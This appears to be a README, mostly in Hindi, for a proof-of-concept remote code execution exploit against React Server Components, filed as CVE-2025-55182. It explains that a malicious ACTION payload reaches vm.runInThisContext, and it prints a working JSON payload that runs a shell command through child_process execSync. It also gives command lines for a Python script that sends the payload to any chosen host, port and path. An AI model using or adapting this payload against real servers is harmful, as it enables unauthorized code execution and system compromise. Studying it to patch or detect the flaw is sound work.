CVE-2025-55182 React Server Components RCE POC

यह प्रोजेक्ट CVE-2025-55182 - React Server Components (RSC) RCE Proof of Concept है, जो दर्शाता है कि विशिष्ट परिस्थितियों में vm.runInThisContext और दुर्भावनापूर्ण ACTION payload के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (RCE) ट्रिगर किया जा सकता है।

• Python पक्ष: स्वचालित रूप से दुर्भावनापूर्ण ACTION payload भेजता है और प्रतिक्रिया पार्स करता है।

⚠ भेद्यता परिचय (CVE-2025-55182)

React Server Components का ACTION payload कुछ शर्तों के तहत:

• JS ऑब्जेक्ट में deserialize किया जाता है
• vm.runInThisContext में निष्पादित किया जाता है
• स्वचालित रूप से server actions में इंजेक्ट किया जाता है

हमलावर निम्नलिखित payload बना सकता है:

{
  "$ACTION_REF_0": "",
  "$ACTION_0:0": "{\"id\": \"vm#runInThisContext\", \"bound\": [\"global.process.mainModule.require('child_process').execSync('calc').toString()\"]}"
}

python a.py --host <目标IP> --port <端口> --path <目标URL路径>

python a.py --host 127.0.0.1 --port 3003 --path /feedback